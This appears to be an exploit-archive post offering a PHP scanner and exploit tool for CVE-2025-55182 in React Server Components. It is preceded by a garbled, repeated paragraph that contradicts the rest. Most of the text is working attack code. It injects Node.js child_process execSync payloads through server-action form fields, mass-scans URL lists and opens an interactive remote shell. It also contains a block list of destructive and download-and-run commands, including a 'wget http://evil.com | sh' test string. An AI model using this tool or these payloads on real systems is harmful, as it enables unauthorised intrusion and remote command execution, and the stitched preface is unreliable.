Information regarding a direct, officially confirmed vulnerability specifically named "React Information regarding a direct, officially confirmed vulnerability specifically named "React 19.2.0 PHP Scanner / Remote Code Execution" is not widely documented or recognized in major security advisories.

React is a client-side JavaScript library, while PHP operates on the server. A direct Remote Code Execution (RCE) vulnerability within React itself would typically not involve PHP.

It's more probable that this refers to:
1. A scenario where a React frontend interacts with a vulnerable PHP backend, and the RCE exists within the PHP application code.
2. A security scanner (the 'PHP Scanner') identified vulnerabilities in a PHP backend, which happens to be used alongside a React 19.2.0 frontend.
3. A highly specific, perhaps unconfirmed, exploit chain or a misunderstanding.

Always consult official security advisories, CVE databases, and project-specific documentation for accurate vulnerability information.

=============================================================================================================================================
| # Title : React 19.2.0 PHP Scanner & RCE Exploit Tool |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://react.dev |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212444/ & CVE-2025-55182

[+] Summary : This project delivers a PHP-based vulnerability scanner and remote code execution (RCE) exploit for CVE?2025?55182 affecting React Server Components.

[+] includes:

Target scanning (single/multiple hosts)

Vulnerability detection

RCE payload execution

Interactive remote shell

Structured JSON parsing with fallback

Multipart form-data payload handling

The exploit leverages RSC serialization weaknesses to execute arbitrary commands and validate successful exploitation.

[+] POC :

<?php
/**
* by indoushka
*/

class CVE_2025_55182_Scanner_Secure {
// ANSI Color Codes with Windows fallback
private $colors = [];

private $user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
private $timeout = 10;
private $verify_ssl = false;
private $max_cmd_length = 200; // Maximum command length for safety

public function __construct() {
// Initialize colors based on OS
$this->init_colors();

// Suppress SSL warnings
if (function_exists('stream_context_set_default')) {
stream_context_set_default([
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
]
]);
}
}

private function init_colors() {
// Check if we're on Windows CMD without ANSI support
$is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
$has_ansi_support = false;

if ($is_windows && PHP_SAPI === 'cli') {
// Try to detect ANSI support in Windows 10+
$has_ansi_support = (function_exists('sapi_windows_vt100_support') && sapi_windows_vt100_support(STDOUT))
|| getenv('ANSICON') !== false
|| getenv('ConEmuANSI') === 'ON'
|| getenv('TERM') === 'xterm';
} elseif (!$is_windows) {
$has_ansi_support = true; // Unix-like systems usually support ANSI
}

if ($has_ansi_support) {
$this->colors = [
'HEADER' => "\033[95m",
'BLUE' => "\033[94m",
'GREEN' => "\033[92m",
'WARNING' => "\033[93m",
'FAIL' => "\033[91m",
'ENDC' => "\033[0m",
'BOLD' => "\033[1m",
'CYAN' => "\033[96m",
'MAGENTA' => "\033[95m",
'BG_RED' => "\033[41m"
];
} else {
// No colors for unsupported terminals
$this->colors = array_fill_keys([
'HEADER', 'BLUE', 'GREEN', 'WARNING', 'FAIL',
'ENDC', 'BOLD', 'CYAN', 'MAGENTA', 'BG_RED'
], '');
}
}

private function color($name) {
return $this->colors[$name] ?? '';
}

private function print_info($msg) {
echo $this->color('BLUE') . "[*] " . $msg . $this->color('ENDC') . PHP_EOL;
}

private function print_success($msg) {
echo $this->color('GREEN') . "[+] " . $msg . $this->color('ENDC') . PHP_EOL;
}

private function print_error($msg) {
echo $this->color('FAIL') . "[-] " . $msg . $this->color('ENDC') . PHP_EOL;
}

private function print_warning($msg) {
echo $this->color('WARNING') . "[!] " . $msg . $this->color('ENDC') . PHP_EOL;
}

private function print_critical($msg) {
echo $this->color('BG_RED') . $this->color('BOLD') . "[CRITICAL] " . $msg . $this->color('ENDC') . PHP_EOL;
}

private function validate_command($cmd) {
// Check command length
if (strlen($cmd) > $this->max_cmd_length) {
$this->print_error("Command too long (max {$this->max_cmd_length} characters)");
return false;
}

// Block potentially dangerous commands in interactive mode
$dangerous_patterns = [
'/\brm\s+-rf\b/i',
'/\bmkfs\b/i',
'/\bdd\s+if=/i',
'/\bchmod\s+777\b/i',
'/\bwget\b.*\|\s*sh/i',
'/\bcurl\b.*\|\s*sh/i',
'/;.*;/', // Multiple command separators
'/`.*`/', // Backticks
'/\$\s*\(/', // $() syntax
'/\|\s*\{/', // Pipe to block
];

foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $cmd)) {
$this->print_warning("Potentially dangerous command detected and blocked");
return false;
}
}

return true;
}

private function sanitize_command($cmd) {
// Basic sanitization for different command types
$cmd = trim($cmd);

// Handle echo commands specially - remove quotes if present
if (preg_match('/^echo\s+/i', $cmd)) {
// Extract the part after echo
$echo_content = substr($cmd, 5);
$echo_content = trim($echo_content, " \t\n\r\0\x0B\"'");

// Only allow safe characters for echo
$echo_content = preg_replace('/[^\w\d\s\-_\.]/', '', $echo_content);

return 'echo ' . $echo_content;
}

// For other commands, allow more characters but still sanitize
$cmd = preg_replace('/[^\w\d\s\-_\.\/\\\,:;&|><=\[\]{}()@#!~`\$\+\-\*"\'?]/', '', $cmd);

// Limit consecutive special characters
$cmd = preg_replace('/([;&|])\1+/', '$1', $cmd);

return $cmd;
}

private function build_payload($cmd) {
// Multiple payload variations for different environments
$payloads = [
// Primary payload - standard Node.js RCE
[
"id" => "vm#runInThisContext",
"bound" => ["console.log('RCE_TEST'); process.mainModule.require('child_process').execSync('{$cmd}').toString()"]
],

// Alternative payload 1 - Different context
[
"id" => "vm#runInNewContext",
"bound" => ["global.process.mainModule.require('child_process').execSync('{$cmd}').toString()"]
],

// Alternative payload 2 - Using module constructor
[
"id" => "module#constructor",
"bound" => ["new module.constructor('return process')().mainModule.require('child_process').execSync('{$cmd}').toString()"]
],

// Alternative payload 3 - Direct require
[
"id" => "global#require",
"bound" => ["global.require('child_process').execSync('{$cmd}').toString()"]
]
];

// Return the primary payload (can be modified to try all)
return json_encode($payloads[0]);
}

private function send_payload($url, $cmd, $payload_variant = 0) {
// Validate command first
if (!$this->validate_command($cmd)) {
return [
'content' => null,
'headers' => [],
'status' => 0,
'success' => false,
'error' => 'Command validation failed'
];
}

// Sanitize command
$safe_cmd = $this->sanitize_command($cmd);

// Build payload based on variant
$payload = $this->build_payload($safe_cmd);

// Prepare multipart form data
$boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));
$content = "--{$boundary}\r\n";
$content .= "Content-Disposition: form-data; name=\"\$ACTION_REF_0\"\r\n\r\n1\r\n";
$content .= "--{$boundary}\r\n";
$content .= "Content-Disposition: form-data; name=\"\$ACTION_0:0\"\r\n\r\n";
$content .= $payload . "\r\n";
$content .= "--{$boundary}--\r\n";

$headers = [
"Content-Type: multipart/form-data; boundary={$boundary}",
"User-Agent: {$this->user_agent}",
"Accept: */*",
"Connection: close",
"X-Requested-With: XMLHttpRequest",
"Origin: " . parse_url($url, PHP_URL_SCHEME) . "://" . parse_url($url, PHP_URL_HOST)
];

$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => implode("\r\n", $headers),
'content' => $content,
'timeout' => $this->timeout,
'ignore_errors' => true
],
'ssl' => [
'verify_peer' => $this->verify_ssl,
'verify_peer_name' => $this->verify_ssl
]
]);

try {
$start_time = microtime(true);
$response = @file_get_contents($url, false, $context);
$response_time = round((microtime(true) - $start_time) * 1000, 2);

$http_response_header = $http_response_header ?? [];

return [
'content' => $response,
'headers' => $http_response_header,
'status' => $this->get_http_status($http_response_header),
'success' => $response !== false,
'response_time' => $response_time,
'payload_variant' => $payload_variant,
'error' => $response === false ? error_get_last()['message'] ?? 'Unknown error' : null
];
} catch (Exception $e) {
$this->print_error("Connection error: " . $e->getMessage());
return [
'content' => null,
'headers' => [],
'status' => 0,
'success' => false,
'response_time' => 0,
'error' => $e->getMessage()
];
}
}

private function get_http_status($headers) {
if (empty($headers)) return 0;

$status_line = $headers[0];
preg_match('/HTTP\/\d\.\d\s+(\d+)/', $status_line, $matches);

return isset($matches[1]) ? (int)$matches[1] : 0;
}

private function generate_token($length = 16) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$token = '';

for ($i = 0; $i < $length; $i++) {
$token .= $chars[random_int(0, strlen($chars) - 1)];
}

return $token;
}

private function extract_result_from_response($content, $token = null) {
$result = [
'type' => 'unknown',
'result' => null,
'error' => null,
'token_found' => false,
'json_valid' => false,
'raw_preview' => substr($content, 0, 200) . (strlen($content) > 200 ? '...' : '')
];

// Method 1: Try JSON parsing first
if (!empty($content)) {
$json_data = @json_decode($content, true);

if (json_last_error() === JSON_ERROR_NONE) {
$result['json_valid'] = true;
$result['type'] = 'json';
$result['full_json'] = $json_data;

if (isset($json_data['result'])) {
$result['result'] = $json_data['result'];
}
if (isset($json_data['error'])) {
$result['error'] = $json_data['error'];
}
if (isset($json_data['message'])) {
$result['error'] = $json_data['message'];
}
}
}

// Method 2: Look for token in raw response
if ($token !== null && !empty($content)) {
if (strpos($content, $token) !== false) {
$result['token_found'] = true;
$result['type'] = $result['type'] === 'unknown' ? 'raw' : $result['type'];

// Extract context around token
$pos = strpos($content, $token);
$start = max(0, $pos - 100);
$end = min(strlen($content), $pos + 100);
$context = substr($content, $start, $end - $start);

if (empty($result['result'])) {
$result['result'] = $context;
}
}
}

// Method 3: Try to extract from common patterns
if (empty($result['result']) && !empty($content)) {
$patterns = [
'/result["\']?\s*:\s*["\']?([^"\',}]+)/i',
'/output["\']?\s*:\s*["\']?([^"\',}]+)/i',
'/data["\']?\s*:\s*["\']?([^"\',}]+)/i',
'/<pre[^>]*>([^<]+)<\/pre>/i',
'/<code[^>]*>([^<]+)<\/code>/i'
];

foreach ($patterns as $pattern) {
if (preg_match($pattern, $content, $matches)) {
$result['result'] = trim($matches[1]);
$result['type'] = 'pattern';
break;
}
}
}

return $result;
}

public function scan($url, $detailed = false) {
$this->print_info("Scanning {$url} for CVE-2025-55182...");

$token = $this->generate_token(16);
$cmd = "echo " . $token; // No quotes needed for echo

$response = $this->send_payload($url, $cmd);

if (!$response['success'] || $response['content'] === null) {
$this->print_error("Failed to connect to target.");
$this->print_info("Error: " . ($response['error'] ?? 'Unknown'));
$this->print_info("Response time: {$response['response_time']}ms");
return false;
}

$content = $response['content'];
$analysis = $this->extract_result_from_response($content, $token);

if ($detailed) {
$this->print_info("=== Detailed Analysis ===");
$this->print_info("Response type: " . $analysis['type']);
$this->print_info("HTTP Status: " . $response['status']);
$this->print_info("Response time: {$response['response_time']}ms");
$this->print_info("JSON valid: " . ($analysis['json_valid'] ? 'Yes' : 'No'));
$this->print_info("Token found: " . ($analysis['token_found'] ? 'Yes' : 'No'));

if ($analysis['error']) {
$this->print_warning("Server error: " . $analysis['error']);
}
}

// Check for vulnerability
$is_vulnerable = false;
$confidence = 'low';

// High confidence: Token found in JSON result
if ($analysis['type'] === 'json' && $analysis['result'] && strpos($analysis['result'], $token) !== false) {
$is_vulnerable = true;
$confidence = 'high';
$this->print_success("HIGH CONFIDENCE: Token found in JSON result");
}
// Medium confidence: Token found in raw response
elseif ($analysis['token_found']) {
$is_vulnerable = true;
$confidence = 'medium';
$this->print_success("MEDIUM CONFIDENCE: Token found in raw response");
}
// Low confidence: Response looks like RCE output but no token
elseif ($analysis['result'] && preg_match('/\b(root|admin|www-data|user)\b/i', $analysis['result'])) {
$is_vulnerable = true;
$confidence = 'low';
$this->print_warning("LOW CONFIDENCE: RCE-like output detected");
}

if ($is_vulnerable) {
$this->print_success("Target appears to be VULNERABLE (confidence: {$confidence})!");

if ($analysis['result']) {
$output = trim($analysis['result']);
$output_preview = strlen($output) > 100 ? substr($output, 0, 100) . '...' : $output;
$this->print_info("Output preview: " . $output_preview);
}

// Try to get more info if detailed scan
if ($detailed) {
$this->print_info("Gathering system information...");
$info_cmds = [
'whoami' => 'Current user',
'uname -a || ver' => 'System info',
'pwd' => 'Current directory',
'id || whoami /all' => 'User details'
];

foreach ($info_cmds as $cmd => $desc) {
$resp = $this->send_payload($url, $cmd);
if ($resp['success'] && $resp['content']) {
$info = $this->extract_result_from_response($resp['content']);
if ($info['result']) {
$clean_result = trim(preg_replace('/\s+/', ' ', $info['result']));
$this->print_info("{$desc}: " . substr($clean_result, 0, 80));
}
}
usleep(50000); // 50ms delay
}
}

return ['vulnerable' => true, 'confidence' => $confidence];
} else {
$this->print_warning("Target does not appear to be vulnerable.");
if ($detailed) {
$this->print_info("Response preview: " . $analysis['raw_preview']);
}
return ['vulnerable' => false, 'confidence' => 'none'];
}
}

public function exploit($url) {
$this->print_critical("=== EXPLOIT MODE ACTIVATED ===");
$this->print_warning("You are about to exploit a vulnerable system.");
$this->print_warning("Make sure you have proper authorization!");

// Initial scan with details
$scan_result = $this->scan($url, true);

if (!$scan_result['vulnerable']) {
$this->print_error("Target is not vulnerable or confidence is too low.");
$this->print_info("Would you like to proceed anyway? (yes/no): ");
$response = trim(fgets(STDIN));

if (strtolower($response) !== 'yes') {
$this->print_info("Exploit cancelled.");
return;
}

$this->print_warning("Proceeding with low-confidence target...");
}

$this->print_success("Starting interactive shell on {$url}");
$this->print_info("Type 'help' for available commands, 'exit' to quit.");

// Get initial system info
$sysinfo = $this->get_system_info($url);
$user = $sysinfo['user'] ?? 'unknown';
$hostname = $sysinfo['hostname'] ?? 'unknown';
$platform = $sysinfo['platform'] ?? 'unknown';

// Interactive shell loop
$command_history = [];
while (true) {
// Build prompt with colors
$prompt = $this->color('GREEN') . $user . "@" . $hostname . $this->color('ENDC') .
" [" . $this->color('CYAN') . $platform . $this->color('ENDC') . "] " .
$this->color('BLUE') . $this->color('BOLD') . "> " . $this->color('ENDC');

echo $prompt;

// Get command input
if (function_exists('readline')) {
readline_completion_function(function($input, $index) {
$commands = ['help', 'exit', 'clear', 'sysinfo', 'history', 'pwd', 'ls', 'cd', 'cat', 'whoami', 'id'];
return array_filter($commands, function($cmd) use ($input) {
return stripos($cmd, $input) === 0;
});
});

$cmd = readline();
if ($cmd !== '') {
readline_add_history($cmd);
$command_history[] = $cmd;
}
} else {
$cmd = trim(fgets(STDIN));
if (!empty($cmd)) {
$command_history[] = $cmd;
}
}

// Handle exit
if (strtolower($cmd) === 'exit' || strtolower($cmd) === 'quit') {
$this->print_info("Exiting interactive shell...");
break;
}

// Handle empty command
if (empty($cmd)) {
continue;
}

// Handle special commands
switch (strtolower($cmd)) {
case 'help':
$this->show_help();
continue 2;

case 'clear':
case 'cls':
system(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'cls' : 'clear');
continue 2;

case 'history':
$this->show_history($command_history);
continue 2;

case 'sysinfo':
$this->show_sysinfo($url);
continue 2;

case 'safe':
$this->print_info("Safe mode enabled - blocking dangerous commands");
$this->print_info("Current restrictions: rm, mkfs, dd, chmod 777, wget|sh, curl|sh");
continue 2;
}

// Validate command length
if (strlen($cmd) > $this->max_cmd_length) {
$this->print_error("Command too long (max {$this->max_cmd_length} characters)");
$this->print_info("Tip: Use redirects or split complex commands");
continue;
}

// Execute command
$start_time = microtime(true);
$response = $this->send_payload($url, $cmd);
$exec_time = round((microtime(true) - $start_time) * 1000, 2);

if ($response['success'] && $response['content']) {
$analysis = $this->extract_result_from_response($response['content']);

if ($analysis['result']) {
echo trim($analysis['result']) . PHP_EOL;
$this->print_info("Execution time: {$exec_time}ms | HTTP: {$response['status']}");
} elseif ($analysis['error']) {
$this->print_error("Server error: " . $analysis['error']);
} else {
$this->print_warning("Command executed but no output returned.");
$this->print_info("Response type: " . $analysis['type']);
}
} else {
$this->print_error("Command failed or no response.");
$this->print_info("Status: {$response['status']} | Time: {$response['response_time']}ms");
if ($response['error']) {
$this->print_info("Error: " . $response['error']);
}
}

// Small delay to avoid overwhelming the target
usleep(100000); // 100ms
}

$this->print_info("Session ended. Total commands executed: " . count($command_history));
}

private function get_system_info($url) {
$info = [
'user' => 'unknown',
'hostname' => 'unknown',
'platform' => 'unknown'
];

// Try multiple commands to get info
$commands = [
'whoami' => 'user',
'hostname || hostname' => 'hostname',
'uname -s -r -m || ver || systeminfo | findstr /B /C:"OS"' => 'platform'
];

foreach ($commands as $cmd => $key) {
$resp = $this->send_payload($url, $cmd);
if ($resp['success'] && $resp['content']) {
$analysis = $this->extract_result_from_response($resp['content']);
if ($analysis['result']) {
$info[$key] = trim($analysis['result']);
}
}
usleep(50000); // 50ms delay
}

return $info;
}

private function show_help() {
$help = [
'Basic Commands:' => [
'help' => 'Show this help message',
'exit, quit' => 'Exit the interactive shell',
'clear, cls' => 'Clear the terminal screen',
'history' => 'Show command history',
'sysinfo' => 'Display detailed system information',
'safe' => 'Show safe mode restrictions'
],
'File Operations:' => [
'pwd' => 'Print working directory',
'ls, ls -la, dir' => 'List directory contents',
'cat <file>' => 'View file contents',
'cd <dir>' => 'Change directory (note: may not persist)'
],
'System Info:' => [
'whoami' => 'Current user',
'id' => 'User ID and groups',
'uname -a' => 'System information',
'ps aux' => 'Running processes',
'netstat -an' => 'Network connections'
],
'Tips:' => [
'Command chaining' => 'Use && for sequential commands',
'Output redirection' => 'Use > to save output to file',
'Pipes' => 'Use | to chain commands',
'Background jobs' => 'Use & to run in background'
]
];

foreach ($help as $section => $commands) {
$this->print_info("\n{$section}");
foreach ($commands as $cmd => $desc) {
echo " " . str_pad($cmd, 25) . " - " . $desc . PHP_EOL;
}
}
}

private function show_history($history) {
if (empty($history)) {
$this->print_info("No command history yet.");
return;
}

$this->print_info("Command History:");
foreach ($history as $index => $cmd) {
echo " [" . ($index + 1) . "] " . $cmd . PHP_EOL;
}
}

private function show_sysinfo($url) {
$this->print_info("Gathering detailed system information...");

$checks = [
'System' => 'uname -a || ver',
'Kernel' => 'cat /proc/version 2>/dev/null || systeminfo | findstr /B /C:"OS"',
'CPU' => 'cat /proc/cpuinfo 2>/dev/null || wmic cpu get name',
'Memory' => 'free -h 2>/dev/null || wmic memorychip get capacity',
'Disk' => 'df -h 2>/dev/null || wmic logicaldisk get size,freespace,caption',
'Network' => 'ifconfig 2>/dev/null || ipconfig /all',
'Users' => 'who 2>/dev/null || query user',
'Processes' => 'ps aux | head -20 2>/dev/null || tasklist',
'Environment' => 'env 2>/dev/null || set',
'Packages' => 'dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || pacman -Q'
];

foreach ($checks as $name => $cmd) {
$resp = $this->send_payload($url, $cmd);
if ($resp['success'] && $resp['content']) {
$analysis = $this->extract_result_from_response($resp['content']);
if ($analysis['result']) {
$output = trim($analysis['result']);
$preview = substr($output, 0, 100);
$this->print_info("{$name}: " . $preview . (strlen($output) > 100 ? '...' : ''));
}
}
usleep(100000); // 100ms delay
}
}

public function batch_scan($file_path, $output_report = true) {
if (!file_exists($file_path)) {
$this->print_error("File not found: {$file_path}");
return;
}

$urls = file($file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

if (!$urls) {
$this->print_error("No URLs found in file.");
return;
}

$this->print_info("Loaded " . count($urls) . " URLs from {$file_path}");
$this->print_warning("Batch scan starting. This may take a while...");

$results = [
'high_confidence' => [],
'medium_confidence' => [],
'low_confidence' => [],
'not_vulnerable' => [],
'errors' => []
];

$start_time = time();

foreach ($urls as $index => $url) {
$url = trim($url);
if (empty($url)) continue;

$current = $index + 1;
$total = count($urls);
$percent = round(($current / $total) * 100, 1);
$elapsed = time() - $start_time;
$eta = $total > 0 ? round(($elapsed / $current) * ($total - $current)) : 0;

$this->print_info("Scanning [{$current}/{$total}] ({$percent}%) ETA: {$eta}s - {$url}");

try {
$result = $this->scan($url, false);

if ($result['vulnerable']) {
switch ($result['confidence']) {
case 'high':
$results['high_confidence'][] = $url;
break;
case 'medium':
$results['medium_confidence'][] = $url;
break;
case 'low':
$results['low_confidence'][] = $url;
break;
}
} else {
$results['not_vulnerable'][] = $url;
}
} catch (Exception $e) {
$results['errors'][] = $url . " - " . $e->getMessage();
}

// Progress delay
usleep(300000); // 300ms
}

// Generate report
$this->print_info("\n" . str_repeat("=", 60));
$this->print_info("BATCH SCAN COMPLETE");
$this->print_info("Total time: " . (time() - $start_time) . " seconds");
$this->print_info(str_repeat("-", 60));

$categories = [
'high_confidence' => ['High Confidence Vulnerable', $this->color('GREEN')],
'medium_confidence' => ['Medium Confidence Vulnerable', $this->color('WARNING')],
'low_confidence' => ['Low Confidence Vulnerable', $this->color('CYAN')],
'not_vulnerable' => ['Not Vulnerable', $this->color('FAIL')],
'errors' => ['Errors', $this->color('FAIL')]
];

foreach ($categories as $key => [$label, $color]) {
$count = count($results[$key]);
echo $color . "[*] " . str_pad($label, 30) . ": " . $count . $this->color('ENDC') . PHP_EOL;
}

// Save report if requested
if ($output_report) {
$report_file = 'cve_scan_report_' . date('Y-m-d_H-i-s') . '.txt';
$report_content = "CVE-2025-55182 Scan Report\n";
$report_content .= "Generated: " . date('Y-m-d H:i:s') . "\n";
$report_content .= "Total URLs: " . count($urls) . "\n\n";

foreach ($categories as $key => [$label, $color]) {
$report_content .= "\n=== {$label} ===\n";
foreach ($results[$key] as $item) {
$report_content .= $item . "\n";
}
}

file_put_contents($report_file, $report_content);
$this->print_success("Detailed report saved to: {$report_file}");
}

return $results;
}

private function print_banner() {
$banner = $this->color('HEADER') . $this->color('BOLD') . "
????????????????????????????????????????????????????????????
? CVE-2025-55182 Scanner & Exploit Tool ?
? React Server Components RCE Vulnerability ?
????????????????????????????????????????????????????????????" . $this->color('ENDC') . "

" . $this->color('CYAN') . "[*] Features:" . $this->color('ENDC') . "
? Multi-payload support for different environments
? Command validation and sanitization
? Confidence-based vulnerability detection
? Interactive shell with command history
? Batch scanning with detailed reporting
? Safe mode to prevent dangerous commands

" . $this->color('WARNING') . "[!] SECURITY WARNING:" . $this->color('ENDC') . "
? This tool is for AUTHORIZED security testing ONLY
? Unauthorized use is ILLEGAL and UNETHICAL
? Use only on systems you OWN or have PERMISSION to test

" . $this->color('FAIL') . $this->color('BOLD') . "[!] LEGAL NOTICE: You are responsible for your actions!" . $this->color('ENDC') . "
";

echo $banner . PHP_EOL;
}

public function run() {
$this->print_banner();

if (PHP_SAPI !== 'cli') {
$this->print_error("This tool must be run from command line.");
echo "For web interface, use the separate web version." . PHP_EOL;
exit(1);
}

global $argv;

if (count($argv) < 2) {
$this->show_help();
exit(1);
}

$mode = $argv[1];

switch ($mode) {
case 'scan':
if (isset($argv[2]) && $argv[2] === '-u' && isset($argv[3])) {
$this->scan($argv[3], true);
} elseif (isset($argv[2]) && $argv[2] === '-f' && isset($argv[3])) {
$this->batch_scan($argv[3]);
} else {
$this->show_help();
}
break;

case 'exploit':
if (isset($argv[2]) && $argv[2] === '-u' && isset($argv[3])) {
$this->exploit($argv[3]);
} else {
$this->show_help();
}
break;

case 'test':
$this->test_mode();
break;

case 'help':
case '--help':
case '-h':
$this->show_help();
break;

default:
$this->print_error("Unknown mode: {$mode}");
$this->show_help();
exit(1);
}
}

private function test_mode() {
$this->print_info("Running comprehensive self-test...");

// Test token generation
$token = $this->generate_token(10);
$this->print_success("Token generation: OK ({$token})");

// Test command validation
$test_cmds = [
'echo test' => true,
'whoami' => true,
'ls -la' => true,
str_repeat('a', 201) => false, // Too long
'rm -rf /' => false, // Dangerous
'wget http://evil.com | sh' => false // Dangerous pattern
];

foreach ($test_cmds as $cmd => $expected) {
$result = $this->validate_command($cmd);
$status = $result === $expected ? 'OK' : 'FAIL';
$color = $result === $expected ? 'GREEN' : 'FAIL';
echo $this->color($color) . "[TEST] Command validation '{$cmd}': {$status}" . $this->color('ENDC') . PHP_EOL;
}

// Test payload building
$payload = $this->build_payload('test');
$json_test = json_decode($payload, true);
$this->print_success("Payload building: " . (json_last_error() === JSON_ERROR_NONE ? 'OK' : 'FAIL'));

// Test required functions
$required = ['json_encode', 'file_get_contents', 'random_bytes', 'preg_match'];
$all_ok = true;

foreach ($required as $func) {
if (!function_exists($func)) {
$this->print_error("Missing function: {$func}");
$all_ok = false;
}
}

if ($all_ok) {
$this->print_success("All required functions available");
}

$this->print_info("Self-test completed.");
}

private function show_help() {
echo $this->color('BOLD') . "CVE-2025-55182 Enhanced Scanner & Exploit Tool" . $this->color('ENDC') . PHP_EOL;
echo $this->color('CYAN') . "Version: 2.0 | Enhanced Security Edition" . $this->color('ENDC') . PHP_EOL . PHP_EOL;

echo "Usage:" . PHP_EOL;
echo " php " . basename(__FILE__) . " [mode] [options]" . PHP_EOL . PHP_EOL;

echo "Modes:" . PHP_EOL;
echo " scan - Check target vulnerability (detailed analysis)" . PHP_EOL;
echo " exploit - Interactive exploit shell (requires vulnerable target)" . PHP_EOL;
echo " test - Run self-test to verify functionality" . PHP_EOL;
echo " help - Show this help message" . PHP_EOL . PHP_EOL;

echo "Scan Options:" . PHP_EOL;
echo " -u URL - Single target URL (detailed scan)" . PHP_EOL;
echo " -f FILE - File containing list of URLs (batch scan)" . PHP_EOL . PHP_EOL;

echo "Exploit Options:" . PHP_EOL;
echo " -u URL - Target URL to exploit (interactive shell)" . PHP_EOL . PHP_EOL;

echo "Security Features:" . PHP_EOL;
echo " ? Command length limitation (max 200 chars)" . PHP_EOL;
echo " ? Dangerous command blocking" . PHP_EOL;
echo " ? Confidence-based vulnerability detection" . PHP_EOL;
echo " ? Safe mode for interactive shell" . PHP_EOL . PHP_EOL;

echo "Examples:" . PHP_EOL;
echo " php " . basename(__FILE__) . " scan -u https://target.com/api" . PHP_EOL;
echo " php " . basename(__FILE__) . " scan -f targets.txt" . PHP_EOL;
echo " php " . basename(__FILE__) . " exploit -u https://target.com/api" . PHP_EOL;
echo " php " . basename(__FILE__) . " test" . PHP_EOL;

echo $this->color('WARNING') . PHP_EOL . "[!] Legal Notice: For authorized testing only!" . $this->color('ENDC') . PHP_EOL;
echo $this->color('FAIL') . "[!] By using this tool, you accept full responsibility for your actions." . $this->color('ENDC') . PHP_EOL;
}
}

// Main execution
if (PHP_SAPI === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) {
$scanner = new CVE_2025_55182_Scanner_Secure();
$scanner->run();
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================